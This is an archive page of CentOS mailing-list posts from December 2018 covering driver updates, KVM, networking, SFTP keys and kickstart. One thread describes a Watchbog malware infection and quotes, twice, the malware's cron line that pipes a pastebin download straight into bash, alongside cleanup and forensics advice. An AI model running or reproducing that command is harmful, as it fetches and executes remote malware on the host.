Discuss December 2018

discuss@lists.centos.org

96 participants
99 discussions

Updating 7.5->7.6
by mark 18 Dec '18

18 Dec '18

I've got a user with a legacy NVidia card. I've got kmod-nvidia. Last time I did an update, all I did was yum update --disableexcludes. This time, it fails, with Error: Package: nvidia-x11-drv-304xx-304.135-1.el7.elrepo.x86_64 (@elrepo) Requires: xorg-x11-server-Xorg <= 1.19.99 Removing: xorg-x11-server-Xorg-1.19.5-5.el7.x86_64 (@base) xorg-x11-server-Xorg = 1.19.5-5.el7 Updated By: xorg-x11-server-Xorg-1.20.1-5.1.el7.x86_64 (updates) xorg-x11-server-Xorg = 1.20.1-5.1.el7 Available: xorg-x11-server-Xorg-1.20.1-3.el7.x86_64 (base) xorg-x11-server-Xorg = 1.20.1-3.el7 Available: xorg-x11-server-Xorg-1.20.1-5.el7.x86_64 (updates) xorg-x11-server-Xorg = 1.20.1-5.el7 I'd appreciate any help understanding what this is telling me. It *looks* like it wants to update vidia-x11-drv-304xx-304.135-1.el7.elrepo.x86_64 with vidia-x11-drv-304xx-304.135-5.el7.elrepo.x86_64 (or maybe 135-6) and then it wants to replace the elrepo mods with base or updates. Is this saying there's no update for the xorg-x11-server-Xorg (I don't see one) on elrepo? Does this mean I'll have to go back to the proprietary driver? mark

3 11

CentOS 7.5 Linux box got infected with Watchbog malware
by Kaushal Shriyan 18 Dec '18

18 Dec '18

Hi, Is there a way to find out how the CentOS 7.5 Linux box got infected with malware? Currently i am referring to http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwarera… to carry out the below steps and is done manually. 1)rm -fr /tmp/*timesyncc.service* 2)crontab -e -u apigee delete the cron entry */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 3)ps aux | grep watchbog kill -9 pidof watchbog Any suggestions or recommendations to find out how CentOS 7.5 Linux box got infected with Watchbog Malware. Is there any open source software which can be installed on CentOS 7.5 Linux box to detect and prevent Malware? Thanks in Advance. Best Regards, Kaushal

7 7

Re: [CentOS] CentOS 7.5 Linux box got infected with Watchbog malware
by mark 18 Dec '18

18 Dec '18

Valeri Galtsev wrote: > On 12/17/18 2:57 PM, Mauricio Tavares wrote: >> On Sat, Dec 15, 2018 at 12:40 PM Kaushal Shriyan >> <kaushalshriyan(a)gmail.com> wrote: >>> >>> >>> Is there a way to find out how the CentOS 7.5 Linux box got infected >>> with malware? Currently i am referring to >>> http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malw >>> areransomware.html to carry out the below steps and is done manually. >>> >>> 1)rm -fr /tmp/*timesyncc.service* >>> 2)crontab -e -u apigee >>> delete the cron entry */1 * * * * (curl -fsSL >>> https://pastebin.com/raw/aGTSGJJp||wget -q -O- >>> https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 >>> 3)ps aux | grep watchbog >>> kill -9 pidof watchbog >>> >>> Any suggestions or recommendations to find out how CentOS 7.5 Linux >>> box got infected with Watchbog Malware. Is there any open source >>> software which can >> >> do you have untampered log files? >> >>> be installed on CentOS 7.5 Linux box to detect and prevent Malware? > > Standard compromise recovery procedure since forever is (your local > policy my have slightly different order about notifications and similar): > > 1. back up all user data You should have been doing that all along. First step, before you do anything else, is pull the hard drive, put it into a hot-swap or external bay, and dd the entire drive to an identical one. THAT goes to forensics. Alternatively, pull the h/d, put in a new one, reset the BIOS to factory settings - that includes pulling the battery... *then* set what you need, and then build it new, and restore from backups. <snip> Why, yes, we did just do this, um, last year, after a compromise via a WordPress security hole. It did not manage to get to any other systems (we checked, and only a few run WordPress). mark

2 1

qemu-kvm-common-ev-2.12.0-18.el7_6.1.1.x86_64 - lost KVM guests - qemu-kvm-ev
by lejeczek 18 Dec '18

18 Dec '18

hi guys, I updated to qemu-kvm-common-ev-2.12.0-18.el7_6.1.1.x86_64 (also libvirt) and my Centos 6.10 kvm guests now do not start. Funnily enough Win10 guest are fine, only Centoses cannot start, silently & without any errors. Any care to comment? many thanks, L.

2 3

determining what depends on a rpm
by Frank Cox 17 Dec '18

17 Dec '18

yum remove lightdm That command tells me that it's also going to remove lightdm-gobject and lightdm-gtk. rpm -q --whatrequires lightdm no package requires lightdm So obviously we can't take the word of the --whatrequires option from the rpm command since yum remove tells me that there are two. That being the case, using yum remove to determine the actual dependency chain is not all that helpful since (a) only the root user can do that, which seems unnecessary when all you want to get is a report about the installed packages that the rpm command can already read as a user, and (b) you're taking a chance of fat-fingering something and destroying your system by accident. Ultimately it would be very useful to have some kind of a tool that would generate a report from the rpms installed on a system and tell you exactly what depends on what else. Among other things you could use that report to remove stuff that's not needed in any installation. -- MELVILLE THEATRE ~ Real D 3D Digital Cinema ~ www.melvilletheatre.com

6 7

KVM Client NetworkManager Problem
by Günther J. Niederwimmer 17 Dec '18

17 Dec '18

Hello, On my systems I have after update to last centos 1810 a big Problem with the network?? Om my system I have three NIC two are connected from hardware (hostdev) the last is connected from the bridge on the host. (NetworkManager was disabled) Now after the update the client can't start the NIC's correctly :-( My Problem is the bridged NIC ethX I must Install and activate the NetworkManager or I have a LSB Error [ INFO ] Network Manager is not active. [DEPEND] Dependency failed for Network Manager Wait Online. Starting LSB: Bring up/down networking... [FAILED] Failed to start LSB: Bring up/down networking. But now NetworkManager create sometimes a new config for a new ethX this is configured from dhcp, but I must have a static address to connect other server (ldap...) Also the resolv.conf is overwritten and have wrong nameserver (ipv6) and duplicate search entries ... Now it is the Problem after a reboot the network is not running correct with or without NetworkManager? Thanks for a answer or help, -- mit freundliche Grüßen / best regards, Günther J. Niederwimmer

5 7

SSD no longer detected - slightly off topic
by Jerry Geis 16 Dec '18

16 Dec '18

Hi All, I have a new Samsung SSD 2T 860 type device. I connected it to my centos 7.6 system using external USB 3.1 that has power and data supplied over the USB cable. I do this all the time with a 120G SSD works fine. Formatting the device worked fine - then I mounted it and tried to copy 1.5T of data. The copy never finished through the night. I think there wasn't enough power for the SSD.... Now when I power the SSD with an external USB with power the disk is not seen when I plug it in. Any thoughts how to get the device to be seen under external USB power so I can reformat and get it going? Thanks, Jerry

1 0

Firewalld and iptables
by Jon LaBadie 15 Dec '18

15 Dec '18

After a recent large update, firewalld's status contains many lines of the form: WARNING: COMMAND_FAILED: '/usr/sbin/iptables... Checking iptables.service status shows it to be masked. I realize that firewalld uses iptables, but should it be enabled and started as a service? Jon -- Jon H. LaBadie jcu(a)labadie.us 11226 South Shore Rd. (703) 787-0688 (H) Reston, VA 20190 (703) 935-6720 (C)

4 9

SFTP - Private/Public Authentication Keysets Beyond The First Set
by Gary Braatz 15 Dec '18

15 Dec '18

I'm new to SFTP and using this mailing list was able to successfully create my first Private/Public keyset for a vendor hosting the SFTP server (I'm the client). I created the keyset by typing this: # ssh-keygen -t rsa When asked for the password/passphrase I hit <Enter> and afterwards "id_rsa" and "id_rsa.pub" were created in "/root/.ssh/". I provided "id_rsa.pub" to the vendor and when told they were ready I initiated an SFTP transfer. During the first connection I was asked for the vendor-provided password and after entering it was successfully connected to the vendor's sftp server. During successive connections I was not again asked for the password. This allowed me to create fully automated batch file transfers.my objective. Setting up my second vendor is not going as smoothly. I did exactly the same thing for my second vendor with the exception of typing "rsa_vendor2" during keyset generation (I assumed I had to use a different name for the new keyset). # ssh-keygen -t rsa_vendor2 Files "id_rsa_vendor2" and "id_rsa_vendor2.pub" were created in "/root/.ssh/" and I gave "id_rsa_vendor2.pub" to the second vendor. I initiated the first connection with the second vendor and was asked for the vendor-provided password which I entered and a successful connection was made. The problem is unlike with the first vendor I am asked for the password every time I connect to the second vendor's server. Because I am being asked for the password I am unable to create fully automated batch file transfers. The second vendor is telling me they added the public key to their server as required. Did I miss a step or do something wrong on my end? Was I correct using a different name for the new keyset or would the new keyset information have been appended to the information already in id_rsa and id_rsa.pub for the first vendor? Any help you can provide will be greatly appreciated.

4 8

CentOS7 kickstart question
by isdtor 14 Dec '18

14 Dec '18

Is it not possible to use an nfs based repo for kickstart under CentOS 7.5? E.g. repo --name=epel --baseurl=file://server/path/to/local/copy/of/epel With trial and error I figured out that this is the correct syntax to use for an nfs-based repo. But packages from this repo in the %packages section are not found. You have specificed that the package 'bla' should be installed. This package does not exist. ... It works with http off the same server and location, but I'd rather not use that. NFS installation as such, using nfs --server ... -- dir ..., off the same server and filesystem is working fine. So there is no problem here with nfs or repo setup.

3 6

← Newer
1
2
3
4
5
6
7
8
9
10
Older →

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

Discuss December 2018